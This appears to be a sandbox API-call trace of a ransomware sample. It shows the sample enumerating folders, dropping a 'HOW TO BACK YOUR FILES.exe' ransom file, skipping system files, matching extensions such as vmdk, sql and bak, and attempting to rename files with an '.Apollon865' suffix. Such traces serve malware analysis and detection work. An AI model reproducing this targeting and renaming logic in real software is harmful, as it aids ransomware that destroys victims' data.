	[0076.977] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml MoveFileEx error 5\r\n") returned 114
	[0076.977] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml MoveFileEx error 5\r\n") returned 114
	[0076.977] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.977] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x42a5
	[0076.977] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x72, lpOverlapped=0x0) returned 1
	[0076.977] CloseHandle (hObject=0xc0) returned 1
	[0076.977] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.977] CloseHandle (hObject=0x0) returned 0
	[0076.977] CloseHandle (hObject=0x0) returned 0
	[0076.977] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0
	[0076.977] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0076.978] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd70
	[0076.978] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad"
	[0076.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3338 | out: hHeap=0x580000) returned 1
	[0076.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0076.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad") returned 71
	[0076.978] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad"
	[0076.978] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.978] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.982] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45f4b430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45f4b430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.982] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.982] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.982] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.982] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45f4b430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45f4b430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.982] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.982] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.982] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.982] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.982] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1
	[0076.982] lstrcmpiW (lpString1="ea.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.982] lstrcmpiW (lpString1="ea.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.982] lstrcmpiW (lpString1="ea.xml", lpString2=".") returned 1
	[0076.982] lstrcmpiW (lpString1="ea.xml", lpString2="..") returned 1
	[0076.982] lstrcmpiW (lpString1="ea.xml", lpString2="windows") returned -1
	[0076.982] lstrcmpiW (lpString1="ea.xml", lpString2="bootmgr") returned 1
	[0076.983] lstrcmpiW (lpString1="ea.xml", lpString2="temp") returned -1
	[0076.983] lstrcmpiW (lpString1="ea.xml", lpString2="pagefile.sys") returned -1
	[0076.983] lstrcmpiW (lpString1="ea.xml", lpString2="boot") returned 1
	[0076.983] lstrcmpiW (lpString1="ea.xml", lpString2="ids.txt") returned -1
	[0076.983] lstrcmpiW (lpString1="ea.xml", lpString2="ntuser.dat") returned -1
	[0076.983] lstrcmpiW (lpString1="ea.xml", lpString2="perflogs") returned -1
	[0076.983] lstrcmpiW (lpString1="ea.xml", lpString2="MSBuild") returned -1
	[0076.983] lstrlenW (lpString="ea.xml") returned 6
	[0076.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*") returned 73
	[0076.983] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="ea.xml" | out: lpString1="ea.xml") returned="ea.xml"
	[0076.983] lstrlenW (lpString="ea.xml") returned 6
	[0076.983] lstrlenW (lpString="Apollon865") returned 10
	[0076.983] lstrlenW (lpString=".dll") returned 4
	[0076.983] lstrcmpiW (lpString1="ea.xml", lpString2=".dll") returned 1
	[0076.983] lstrlenW (lpString=".lnk") returned 4
	[0076.983] lstrcmpiW (lpString1="ea.xml", lpString2=".lnk") returned 1
	[0076.983] lstrlenW (lpString=".ini") returned 4
	[0076.983] lstrcmpiW (lpString1="ea.xml", lpString2=".ini") returned 1
	[0076.983] lstrlenW (lpString=".sys") returned 4
	[0076.983] lstrcmpiW (lpString1="ea.xml", lpString2=".sys") returned 1
	[0076.983] lstrlenW (lpString="ea.xml") returned 6
	[0076.983] lstrlenW (lpString="bak") returned 3
	[0076.983] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.983] lstrlenW (lpString="ba_") returned 3
	[0076.983] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.983] lstrlenW (lpString="dbb") returned 3
	[0076.983] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.983] lstrlenW (lpString="vmdk") returned 4
	[0076.983] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.983] lstrlenW (lpString="rar") returned 3
	[0076.983] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.983] lstrlenW (lpString="zip") returned 3
	[0076.983] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.983] lstrlenW (lpString="tgz") returned 3
	[0076.983] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.983] lstrlenW (lpString="vbox") returned 4
	[0076.983] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.983] lstrlenW (lpString="vdi") returned 3
	[0076.983] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.984] lstrlenW (lpString="vhd") returned 3
	[0076.984] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.984] lstrlenW (lpString="vhdx") returned 4
	[0076.984] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.984] lstrlenW (lpString="avhd") returned 4
	[0076.984] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.984] lstrlenW (lpString="db") returned 2
	[0076.984] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.984] lstrlenW (lpString="db2") returned 3
	[0076.984] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.984] lstrlenW (lpString="db3") returned 3
	[0076.984] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.984] lstrlenW (lpString="dbf") returned 3
	[0076.984] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.984] lstrlenW (lpString="mdf") returned 3
	[0076.984] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.984] lstrlenW (lpString="mdb") returned 3
	[0076.984] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.984] lstrlenW (lpString="sql") returned 3
	[0076.984] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.984] lstrlenW (lpString="sqlite") returned 6
	[0076.984] lstrlenW (lpString="sqlite3") returned 7
	[0076.984] lstrlenW (lpString="sqlitedb") returned 8
	[0076.984] lstrlenW (lpString="xml") returned 3
	[0076.984] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.984] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.Apollon865") returned 89
	[0076.984] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.987] GetLastError () returned 0x5
	[0076.987] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml MoveFileEx error 5\r\n") returned 107
	[0076.987] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml MoveFileEx error 5\r\n") returned 107
	[0076.987] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.987] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4317
	[0076.987] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6b, lpOverlapped=0x0) returned 1
	[0076.987] CloseHandle (hObject=0x100) returned 1
	[0076.987] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.987] CloseHandle (hObject=0x0) returned 0
	[0076.988] CloseHandle (hObject=0x0) returned 0
	[0076.988] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45f4b430, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45f4b430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.988] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.988] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2=".") returned 1
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2="..") returned 1
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2="windows") returned -1
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2="bootmgr") returned 1
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2="temp") returned -1
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2="pagefile.sys") returned -1
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2="boot") returned 1
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2="ids.txt") returned 1
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2="ntuser.dat") returned -1
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2="perflogs") returned -1
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2="MSBuild") returned -1
	[0076.988] lstrlenW (lpString="keypadbase.xml") returned 14
	[0076.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0076.988] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="keypadbase.xml" | out: lpString1="keypadbase.xml") returned="keypadbase.xml"
	[0076.988] lstrlenW (lpString="keypadbase.xml") returned 14
	[0076.988] lstrlenW (lpString="Apollon865") returned 10
	[0076.988] lstrcmpiW (lpString1="adbase.xml", lpString2="Apollon865") returned -1
	[0076.988] lstrlenW (lpString=".dll") returned 4
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2=".dll") returned 1
	[0076.988] lstrlenW (lpString=".lnk") returned 4
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2=".lnk") returned 1
	[0076.988] lstrlenW (lpString=".ini") returned 4
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2=".ini") returned 1
	[0076.988] lstrlenW (lpString=".sys") returned 4
	[0076.988] lstrcmpiW (lpString1="keypadbase.xml", lpString2=".sys") returned 1
	[0076.988] lstrlenW (lpString="keypadbase.xml") returned 14
	[0076.988] lstrlenW (lpString="bak") returned 3
	[0076.988] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.988] lstrlenW (lpString="ba_") returned 3
	[0076.988] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.988] lstrlenW (lpString="dbb") returned 3
	[0076.989] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.989] lstrlenW (lpString="vmdk") returned 4
	[0076.989] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.989] lstrlenW (lpString="rar") returned 3
	[0076.989] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.989] lstrlenW (lpString="zip") returned 3
	[0076.989] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.989] lstrlenW (lpString="tgz") returned 3
	[0076.989] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.989] lstrlenW (lpString="vbox") returned 4
	[0076.989] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.989] lstrlenW (lpString="vdi") returned 3
	[0076.989] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.989] lstrlenW (lpString="vhd") returned 3
	[0076.989] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.989] lstrlenW (lpString="vhdx") returned 4
	[0076.989] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.989] lstrlenW (lpString="avhd") returned 4
	[0076.989] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.989] lstrlenW (lpString="db") returned 2
	[0076.989] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.989] lstrlenW (lpString="db2") returned 3
	[0076.989] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.989] lstrlenW (lpString="db3") returned 3
	[0076.989] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.989] lstrlenW (lpString="dbf") returned 3
	[0076.989] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.989] lstrlenW (lpString="mdf") returned 3
	[0076.989] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.989] lstrlenW (lpString="mdb") returned 3
	[0076.989] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.989] lstrlenW (lpString="sql") returned 3
	[0076.989] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.989] lstrlenW (lpString="sqlite") returned 6
	[0076.989] lstrcmpiW (lpString1="se.xml", lpString2="sqlite") returned -1
	[0076.989] lstrlenW (lpString="sqlite3") returned 7
	[0076.989] lstrcmpiW (lpString1="ase.xml", lpString2="sqlite3") returned -1
	[0076.989] lstrlenW (lpString="sqlitedb") returned 8
	[0076.990] lstrcmpiW (lpString1="base.xml", lpString2="sqlitedb") returned -1
	[0076.990] lstrlenW (lpString="xml") returned 3
	[0076.990] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.990] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.Apollon865") returned 97
	[0076.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.apollon865"), dwFlags=0x1) returned 0
	[0077.034] GetLastError () returned 0x5
	[0077.034] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml MoveFileEx error 5\r\n") returned 115
	[0077.034] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml MoveFileEx error 5\r\n") returned 115
	[0077.034] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8
	[0077.034] SetFilePointer (in: hFile=0xd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4382
	[0077.034] WriteFile (in: hFile=0xd8, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x73, lpOverlapped=0x0) returned 1
	[0077.034] CloseHandle (hObject=0xd8) returned 1
	[0077.034] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0077.034] CloseHandle (hObject=0x0) returned 0
	[0077.034] CloseHandle (hObject=0x0) returned 0
	[0077.034] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1
	[0077.034] lstrcmpiW (lpString1="kor-kor.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.034] lstrcmpiW (lpString1="kor-kor.xml", lpString2="Apollon865.txt.exe") returned 1
	[0077.034] lstrcmpiW (lpString1="kor-kor.xml", lpString2=".") returned 1
	[0077.035] lstrcmpiW (lpString1="kor-kor.xml", lpString2="..") returned 1
	[0077.035] lstrcmpiW (lpString1="kor-kor.xml", lpString2="windows") returned -1
	[0077.035] lstrcmpiW (lpString1="kor-kor.xml", lpString2="bootmgr") returned 1
	[0077.035] lstrcmpiW (lpString1="kor-kor.xml", lpString2="temp") returned -1
	[0077.035] lstrcmpiW (lpString1="kor-kor.xml", lpString2="pagefile.sys") returned -1
	[0077.035] lstrcmpiW (lpString1="kor-kor.xml", lpString2="boot") returned 1
	[0077.035] lstrcmpiW (lpString1="kor-kor.xml", lpString2="ids.txt") returned 1
	[0077.035] lstrcmpiW (lpString1="kor-kor.xml", lpString2="ntuser.dat") returned -1
	[0077.035] lstrcmpiW (lpString1="kor-kor.xml", lpString2="perflogs") returned -1
	[0077.035] lstrcmpiW (lpString1="kor-kor.xml", lpString2="MSBuild") returned -1
	[0077.035] lstrlenW (lpString="kor-kor.xml") returned 11
	[0077.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0077.035] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="kor-kor.xml" | out: lpString1="kor-kor.xml") returned="kor-kor.xml"
	[0077.035] lstrlenW (lpString="kor-kor.xml") returned 11
	[0077.035] lstrlenW (lpString="Apollon865") returned 10
	[0077.035] lstrcmpiW (lpString1="or-kor.xml", lpString2="Apollon865") returned 1
	[0077.035] lstrlenW (lpString=".dll") returned 4
	[0077.035] lstrcmpiW (lpString1="kor-kor.xml", lpString2=".dll") returned 1
	[0077.035] lstrlenW (lpString=".lnk") returned 4
	[0077.035] lstrcmpiW (lpString1="kor-kor.xml", lpString2=".lnk") returned 1
	[0077.035] lstrlenW (lpString=".ini") returned 4
	[0077.035] lstrcmpiW (lpString1="kor-kor.xml", lpString2=".ini") returned 1
	[0077.035] lstrlenW (lpString=".sys") returned 4
	[0077.035] lstrcmpiW (lpString1="kor-kor.xml", lpString2=".sys") returned 1
	[0077.035] lstrlenW (lpString="kor-kor.xml") returned 11
	[0077.035] lstrlenW (lpString="bak") returned 3
	[0077.035] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0077.035] lstrlenW (lpString="ba_") returned 3
	[0077.035] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0077.035] lstrlenW (lpString="dbb") returned 3
	[0077.035] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0077.035] lstrlenW (lpString="vmdk") returned 4
	[0077.035] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0077.035] lstrlenW (lpString="rar") returned 3
	[0077.035] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0077.035] lstrlenW (lpString="zip") returned 3
	[0077.035] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0077.035] lstrlenW (lpString="tgz") returned 3
	[0077.036] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0077.036] lstrlenW (lpString="vbox") returned 4
	[0077.036] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0077.036] lstrlenW (lpString="vdi") returned 3
	[0077.036] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0077.036] lstrlenW (lpString="vhd") returned 3
	[0077.036] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0077.036] lstrlenW (lpString="vhdx") returned 4
	[0077.036] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0077.036] lstrlenW (lpString="avhd") returned 4
	[0077.036] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0077.036] lstrlenW (lpString="db") returned 2
	[0077.036] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0077.036] lstrlenW (lpString="db2") returned 3
	[0077.036] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0077.036] lstrlenW (lpString="db3") returned 3
	[0077.036] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0077.036] lstrlenW (lpString="dbf") returned 3
	[0077.036] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0077.036] lstrlenW (lpString="mdf") returned 3
	[0077.036] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0077.036] lstrlenW (lpString="mdb") returned 3
	[0077.036] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0077.036] lstrlenW (lpString="sql") returned 3
	[0077.036] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0077.036] lstrlenW (lpString="sqlite") returned 6
	[0077.036] lstrcmpiW (lpString1="or.xml", lpString2="sqlite") returned -1
	[0077.036] lstrlenW (lpString="sqlite3") returned 7
	[0077.036] lstrcmpiW (lpString1="kor.xml", lpString2="sqlite3") returned -1
	[0077.036] lstrlenW (lpString="sqlitedb") returned 8
	[0077.036] lstrcmpiW (lpString1="-kor.xml", lpString2="sqlitedb") returned -1
	[0077.036] lstrlenW (lpString="xml") returned 3
	[0077.036] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0077.036] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.Apollon865") returned 94
